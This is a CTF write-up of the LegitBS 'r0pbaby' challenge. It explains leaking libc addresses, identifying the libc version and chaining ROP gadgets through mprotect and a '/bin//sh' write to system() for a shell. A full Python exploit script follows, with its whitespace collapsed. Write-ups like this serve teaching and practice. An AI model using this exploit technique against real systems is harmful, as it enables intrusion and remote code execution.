I’ve been away for quite a while, and I missed most of the LegitBS CTF. There were only a few hours left when I joined Swappage. Here’s how we solved r0pbaby.
So we’re given a binary and a place to connect to. Upon running and examing the binary, it seems like this is a very easy ROP challenge. The binary will give libc function addresses upon request; this makes it easy to defeat ASLR. The option of getting libc’s base address seems to return some strange address. Finally, the third option asks for a buffer, which is then copied to the stack, overwrites the saved return address and basically kicks off our ROP chain… couldn’t be easier, right?
So exploiting it should be relatively easy. The binary itself contains very little useable gadgets. We can defeat ASLR by leaking function addresses. There is, however, the problem of finding the correct libc version. This took us some time to figure out, but luckily Swappage found an offline tool to identify libc. It was libc6_2.19-0ubuntu6.6_i386. Another nice tool to identify libc is libcdb.com. After identifying the right libc version, we could find all the necessary gadgets via ropshell.com. Our plan was to mprotect() a certain region of memory as RWX, then read() in some shellcode and return to it.
Now, the plan fell through. For some reason, the read() syscall to read in the shellcode failed. Instead, I switched the exploit around a bit. We have access to system(), so I set up a ROP chain to mprotect() the first 0x1000 bytes of libc as RWX. Then, I wrote out the string /bin//sh to memory. At this point, it was getting late and I could have just as easily written out /bin/sh,0 to memory… Finally, returning to system("/bin//sh") spawned a shell, allowing us to read the flag!
importsocket,struct,re,timedefp(x):returnstruct.pack('<Q',x)defget_function(s,name):s.send('2\n')s.send(name+'\n')time.sleep(0.50)data=s.recv(1000)m=re.findall('(0x0000.*)',data)printmreturnint(m,16)s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#s.connect(('localhost', 4000))s.connect(('r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me',10436))prints.recv(1000)prints.recv(1000)# get some address where we'll store the shellcodeSYSTEM=get_function(s,"system")READ=get_function(s,"read")MPROTECT=get_function(s,"mprotect")# this offset was found like so:# $ nm -D ./libc-2.19.so |grep mprotect# 00000000000f4a20 W mprotectLIBC_BASE=MPROTECT-0xf4a20print"[!] libc_base = 0x%X"%LIBC_BASEprint"[!] system() = 0x%X"%SYSTEMprint"[!] read() = 0x%X"%READprint"[!] mprotect() = 0x%X"%MPROTECTPOPRDX=LIBC_BASE+0x000bcee0POPRAX=LIBC_BASE+0x00048858POPRSI=LIBC_BASE+0x00024805POPRDI=LIBC_BASE+0x00022b1aSYSCAL=LIBC_BASE+0x000c1e55MOVMEM=LIBC_BASE+0x0002fa03#: mov [rax], rdx; ret# kick off ROP chains.send('3\n')prints.recv(1000)# build ROP chain# first, mprotect() a certain areapayload="A"*8payload+=p(POPRDX)payload+=p(7)payload+=p(POPRSI)payload+=p(0x1000)payload+=p(POPRDI)payload+=p(LIBC_BASE)payload+=p(POPRAX)payload+=p(10)payload+=p(SYSCAL)# secondly, write '/bin' to memory via MOVMEM gadgetpayload+=p(POPRDX)payload+=p(0x6e69622f)payload+=p(POPRAX)payload+=p(LIBC_BASE)payload+=p(MOVMEM)# thirdly, write '//sh' to memorypayload+=p(POPRDX)payload+=p(0x68732f2f)payload+=p(POPRAX)payload+=p(LIBC_BASE+4)payload+=p(MOVMEM)# finally, return-to-system and invoke a shellpayload+=p(POPRDI)payload+=p(LIBC_BASE)payload+=p(SYSTEM)length="%d"%(len(payload)+1)print"[!] sending "+length+" bytes"s.send(length+'\n')time.sleep(0.5)s.send(payload+'\n')prints.recv(1000)# interact with the shellimporttelnetlibt=telnetlib.Telnet()t.sock=st.interact()s.close()
Putting it all together:
This was an easy one, but still took me a while to get back into binary exploitation. Especially getting the correct libc version took longer than necessary and my thanks go out to Swappage for persisting and finding the correct version!